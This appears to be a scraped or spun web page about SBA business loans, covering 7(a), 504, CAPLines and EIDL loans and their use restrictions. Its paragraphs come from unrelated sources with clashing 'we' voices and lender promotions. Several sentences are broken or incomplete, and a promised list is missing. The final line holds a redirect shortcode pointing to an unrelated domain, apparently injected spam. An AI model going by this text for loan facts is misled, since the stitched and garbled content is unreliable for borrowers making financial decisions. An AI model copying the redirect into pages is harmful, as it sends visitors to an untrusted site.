Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.
Know your stuff: You’ll need market assessments, competitive analysis and solid marketing and sales plans if you expect to get anywhere with an angel. Even young companies need to demonstrate an expert knowledge of the market they are about to enter as well as the discipline to follow through with their game plan.
“It is important to understand that lenders need considerable information to justify making a loan and to support their request for an SBA guarantee,” Anderson says. “Succeeding in small business is often difficult, and lenders, while willing to take some risk, must protect themselves from losing money on the loan. Lenders need to be convinced that you are likely to pay back the loan with the interest specified.”
We recommend working with Liberty SBF for SBA 504 loans. If you have a credit score above 680 (check here for free), you’ve been in business 3+ years, are profitable, and need more than $500k, speak with Liberty SBF.
Most 7(a) loans are used to purchase assets, such as real estate and equipment, due to favorable terms that let you repay the loan over the useful life of the asset: up to 25 years for real estate and 10 years for equipment. These longer repayment terms keep payments lower, meaning more capital stays in your business to fund operations and growth.
CAPLines are SBA lines of credit meant to help small businesses meet short-term and seasonal working capital needs. The SBA offers 5 types of these lines of credit. They can be fixed or revolving, have a max term of 5 years, and otherwise adhere to SBA 7(a) rules. Read more…
Every business is different. We’d like to partner with you to understand your needs so we can help customize a business lending solution for you now, while also proactively helping you plan for the future. Simply answer a few questions, and we’ll contact you to discuss your best financing options.
U.S. Bank offers five types of SBA loans for businesses in almost any for-profit industry. Loan amounts range from $25,000 to more than $11.25 million and are available for a variety of business purposes, including:
Community development goals include promoting business district revitalization, expansion of exports, expansion of minority, women, or veteran owned businesses, rural development, energy efficiency or clean energy production, and more (for a comprehensive list, see visit the SBA).
The SBA sets limits on the interest rates, terms, and fees that the CDC must abide by. The loans must have terms or 10 or 20 years and the interest rate must be fixed. The interest rate is pegged to 5-year and 10-year US Treasury rate with 10-year term loans, adding .38% to a 5-year treasury and 20-year term loans adding .48% to a 10-year treasury. Plus there are ongoing fees.
SBA Economic Injury Disaster Loans (EIDLs): Short- to medium-term working capital loans to help businesses that have suffered significant economic injury meet normal operating expenses. Do not need to be a for-profit business.
SBA loans do have some on how they’re used. Funds guaranteed by the SBA can’t be used to fund an investment, or any passive business activity, like purchasing a building that will be leased to another business. They also can’t be used to reimburse a business owner for money previously invested, or repay any money owed to the government, such as taxes. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]